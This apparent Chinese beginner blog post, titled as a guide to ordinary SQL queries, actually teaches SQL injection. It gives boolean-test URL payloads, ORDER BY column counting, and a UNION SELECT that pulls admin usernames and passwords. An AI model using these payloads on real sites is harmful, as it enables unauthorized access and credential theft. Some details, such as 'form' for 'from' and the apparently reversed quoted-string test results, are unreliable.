当前位置:首页 > 数据库 > 正文

sql的一般查询语句(增删改查中的查)

2024-03-31 数据库

/*例子  判断规则
http://xxx.xxx/new.php?id=57 and 1=1  正确
http://xxx.xxx/new.php?id=57 and 1=2  错误
http://xxx.xxx/new.php?id=57 and 2-1=1  正确
http://xxx.xxx/new.php?id=57 and 2-1=2  错误
http://xxx.xxx/new.php?id=57 and a=a  正确
http://xxx.xxx/new.php?id=57 and ‘a‘=‘a‘  错误
*/当然 不同网站可能有不同的判断规则
View Code 以上代码 为了判断 数据库 可以执行什么语句 证明逻辑是正确的的
order by 列数或者列名
/*ORDER BY 语句用于根据指定的列队结果集进行排序*/

对了 order by 1 正常 order by 2 正常 order by 3 不正常 就代表有两个字段 也就是两列

union select 1,2 form user
/* union select 查字段 
    form 翻译成中文 就是 来自的意思  来自某某个数据表
*/

admin表 username表 user表 sys_admin 都是常用的表

那么继续看上边的 查字段 

union select admin,password from admin

system也是常用的表 这些都需要自己去猜测 判断 

本篇文章仅为小白学习交流 大佬勿喷

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/SQL/11904.html